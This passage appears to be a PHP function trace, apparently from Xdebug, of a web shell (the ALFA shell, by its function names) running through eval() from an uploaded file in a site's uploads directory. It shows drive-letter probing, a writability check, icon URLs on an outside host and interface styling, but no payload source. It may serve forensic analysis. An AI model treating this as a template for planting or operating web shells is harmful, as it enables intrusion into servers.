5	99	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
5	100	0	0.112509	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'a:\\'
5	100	1	0.112530	3896888
5	100	R			FALSE
5	101	0	0.112545	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'b:\\'
5	101	1	0.112561	3896888
5	101	R			FALSE
5	102	0	0.112575	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'c:\\'
5	102	1	0.112590	3896888
5	102	R			FALSE
5	103	0	0.112603	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'd:\\'
5	103	1	0.112618	3896888
5	103	R			FALSE
5	104	0	0.112632	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'e:\\'
5	104	1	0.112647	3896888
5	104	R			FALSE
5	105	0	0.112660	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'f:\\'
5	105	1	0.112676	3896888
5	105	R			FALSE
5	106	0	0.112692	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'g:\\'
5	106	1	0.112707	3896888
5	106	R			FALSE
5	107	0	0.112720	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'h:\\'
5	107	1	0.112735	3896888
5	107	R			FALSE
5	108	0	0.112748	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'i:\\'
5	108	1	0.112763	3896888
5	108	R			FALSE
5	109	0	0.112776	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'j:\\'
5	109	1	0.112790	3896888
5	109	R			FALSE
5	110	0	0.112802	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'k:\\'
5	110	1	0.112817	3896888
5	110	R			FALSE
5	111	0	0.112830	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'l:\\'
5	111	1	0.112845	3896888
5	111	R			FALSE
5	112	0	0.112858	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'm:\\'
5	112	1	0.112872	3896888
5	112	R			FALSE
5	113	0	0.112886	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'n:\\'
5	113	1	0.112901	3896888
5	113	R			FALSE
5	114	0	0.112914	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'o:\\'
5	114	1	0.112929	3896888
5	114	R			FALSE
5	115	0	0.112942	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'p:\\'
5	115	1	0.112956	3896888
5	115	R			FALSE
5	116	0	0.112969	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'q:\\'
5	116	1	0.112983	3896888
5	116	R			FALSE
5	117	0	0.112996	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'r:\\'
5	117	1	0.113012	3896888
5	117	R			FALSE
5	118	0	0.113024	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	's:\\'
5	118	1	0.113040	3896888
5	118	R			FALSE
5	119	0	0.113052	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	't:\\'
5	119	1	0.113066	3896888
5	119	R			FALSE
5	120	0	0.113079	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'u:\\'
5	120	1	0.113093	3896888
5	120	R			FALSE
5	121	0	0.113106	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'v:\\'
5	121	1	0.113121	3896888
5	121	R			FALSE
5	122	0	0.113134	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'w:\\'
5	122	1	0.113148	3896888
5	122	R			FALSE
5	123	0	0.113161	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'x:\\'
5	123	1	0.113176	3896888
5	123	R			FALSE
5	124	0	0.113189	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'y:\\'
5	124	1	0.113203	3896888
5	124	R			FALSE
5	125	0	0.113216	3896848	is_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1050	1	'z:\\'
5	125	1	0.113231	3896888
5	125	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1052	$csscode = ' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-'
5	126	0	0.113265	3895480	__showicon	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1058	1	'alfamini'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1241	$s['btn'] = 'http://solevisible.com/images/btn.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1242	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1243	$s['loader'] = 'http://solevisible.com/images/loader.svg'
5	126	1	0.113321	3895480
5	126	R			'http://solevisible.com/images/alfamini.png'
5	127	0	0.113634	3910440	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1069	1	'header_values'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
5	127	1	0.113665	3910440
5	127	R			'#67ABDF'
5	128	0	0.113681	3911976	__showicon	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1069	1	'alfamini'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1241	$s['btn'] = 'http://solevisible.com/images/btn.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1242	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1243	$s['loader'] = 'http://solevisible.com/images/loader.svg'
5	128	1	0.113740	3911976
5	128	R			'http://solevisible.com/images/alfamini.png'
5	129	0	0.113758	3916072	__showicon	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1069	1	'alfamini'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1241	$s['btn'] = 'http://solevisible.com/images/btn.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1242	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1243	$s['loader'] = 'http://solevisible.com/images/loader.svg'
5	129	1	0.113810	3916072
5	129	R			'http://solevisible.com/images/alfamini.png'
5	130	0	0.113826	3916072	__showicon	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1069	1	'btn'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1241	$s['btn'] = 'http://solevisible.com/images/btn.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1242	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1243	$s['loader'] = 'http://solevisible.com/images/loader.svg'
5	130	1	0.113876	3916072
5	130	R			'http://solevisible.com/images/btn.png'
5	131	0	0.113892	3916072	is_writable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1070	1	'/var/www/html/uploads/'
5	131	1	0.113910	3916112
5	131	R			TRUE
5	132	0	0.113925	3920168	alfaCssLoadColors	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1070	0
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	623	$css = ''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'shell_border'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.header'
6	133	0	0.113973	3920168	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'shell_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
6	133	1	0.114010	3920168
6	133	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	134	0	0.114034	3920168	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
6	134	1	0.114051	3920320
6	134	R			'border: 7px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 7px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.header{border: 7px solid #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '#meunlist'
6	135	0	0.114103	3920288	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'shell_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
6	135	1	0.114142	3920288
6	135	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	136	0	0.114183	3920288	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border-color: {color}'
6	136	1	0.114200	3920432
6	136	R			'border-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '#meunlist{border-color: #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '#hidden_sh'
6	137	0	0.114249	3920312	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'shell_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
6	137	1	0.114289	3920312
6	137	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	138	0	0.114313	3920312	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'background-color: {color}'
6	138	1	0.114330	3920464
6	138	R			'background-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '#hidden_sh{background-color: #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.ajaxarea'
6	139	0	0.114380	3920352	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'shell_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
6	139	1	0.114416	3920352
6	139	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	140	0	0.114440	3920352	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
6	140	1	0.114456	3920504
6	140	R			'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border: 1px solid #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.ajaxarea{border: 1px solid #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.foot'
6	141	0	0.114508	3920416	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'shell_border'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
6	141	1	0.114542	3920416
6	141	R			'#0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#0E304A'
6	142	0	0.114566	3920416	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#0E304A'	'border-color: {color}'
6	142	1	0.114582	3920560
6	142	R			'border-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'border-color: #0E304A'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.foot{border-color: #0E304A}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_vars'
6	143	0	0.114632	3920408	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_vars'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#27979B'
6	143	1	0.114657	3920408
6	143	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_vars{color: #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_values'
6	144	0	0.114705	3920440	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_values'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#67ABDF'
6	144	1	0.114730	3920440
6	144	R			'#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#67ABDF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_values{color: #67ABDF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_on'
6	145	0	0.114777	3920472	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_on'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	145	1	0.114802	3920472
6	145	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_on{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_off'
6	146	0	0.114852	3920536	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_off'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#ff0000'
6	146	1	0.114877	3920536
6	146	R			'#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_off{color: #ff0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_none'
6	147	0	0.114924	3920536	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_none'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	147	1	0.114948	3920536
6	147	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_none{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'home_shell'
6	148	0	0.114994	3920600	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'home_shell'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#ff0000'
6	148	1	0.115019	3920600
6	148	R			'#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.home_shell{color: #ff0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'home_shell:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.home_shell:hover'
6	149	0	0.115078	3920600	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'home_shell:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
6	149	1	0.115109	3920600
6	149	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	150	0	0.115133	3920600	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	150	1	0.115149	3920736
6	150	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.home_shell:hover{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'back_shell'
6	151	0	0.115199	3920656	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'back_shell'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#efbe73'
6	151	1	0.115224	3920656
6	151	R			'#efbe73'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#efbe73'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.back_shell{color: #efbe73;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'back_shell:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.back_shell:hover'
6	152	0	0.115281	3920656	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'back_shell:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
6	152	1	0.115313	3920656
6	152	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	153	0	0.115337	3920656	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	153	1	0.115353	3920792
6	153	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.back_shell:hover{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_pwd'
6	154	0	0.115406	3920720	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_pwd'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	154	1	0.115431	3920720
6	154	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_pwd{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_pwd:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.header_pwd:hover'
6	155	0	0.115495	3920720	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'header_pwd:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
6	155	1	0.115526	3920720
6	155	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	156	0	0.115551	3920720	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	156	1	0.115567	3920856
6	156	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.header_pwd:hover{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_drive'
6	157	0	0.115616	3920848	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_drive'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	157	1	0.115640	3920848
6	157	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_drive{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_drive:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.header_drive:hover'
6	158	0	0.115698	3920848	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'header_drive:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
6	158	1	0.115729	3920848
6	158	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	159	0	0.115753	3920848	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	159	1	0.115769	3920984
6	159	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.header_drive:hover{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'header_show_all'
6	160	0	0.115819	3920848	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'header_show_all'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#00FF00'
6	160	1	0.115843	3920848
6	160	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.header_show_all{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'disable_functions'
6	161	0	0.115891	3920848	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'disable_functions'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#ff0000'
6	161	1	0.115916	3920848
6	161	R			'#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#ff0000'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.disable_functions{color: #ff0000;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'footer_text'
6	162	0	0.115967	3920976	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'footer_text'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#27979B'
6	162	1	0.115993	3920976
6	162	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.footer_text{color: #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'menu_options'
6	163	0	0.116039	3920976	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	1	'menu_options'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = '#27979B'
6	163	1	0.116064	3920976
6	163	R			'#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	626	$value = '#27979B'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	627	$css .= '.menu_options{color: #27979B;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'menu_options:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.menu_options:hover'
6	164	0	0.116122	3920976	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'menu_options:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
6	164	1	0.116154	3920976
6	164	R			'#646464'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#646464'
6	165	0	0.116178	3920976	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
6	165	1	0.116195	3921152
6	165	R			'background-color: #646464;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'background-color: #646464;font-weight: unset;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'options_list'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.content_options_holder .header center a'
6	166	0	0.116264	3921144	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'options_list'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
6	166	1	0.116296	3921144
6	166	R			'#00FF00'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#00FF00'
6	167	0	0.116320	3921144	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#00FF00'	'color: {color};'
6	167	1	0.116336	3921280
6	167	R			'color: #00FF00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #00FF00;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.content_options_holder .header center a{color: #00FF00;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'options_list:hover'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.content_options_holder .header center a:hover'
6	168	0	0.116401	3921104	alfa_getColor	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	1	'options_list:hover'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
6	168	1	0.116433	3921104
6	168	R			'#FFFFFF'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	631	$color = '#FFFFFF'
6	169	0	0.116457	3921104	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	3	'{color}'	'#FFFFFF'	'color: {color};'
6	169	1	0.116472	3921240
6	169	R			'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	632	$code = 'color: #FFFFFF;'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	633	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	624	$key = 'options_list_header'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	630	$k = '.txtfont_header'
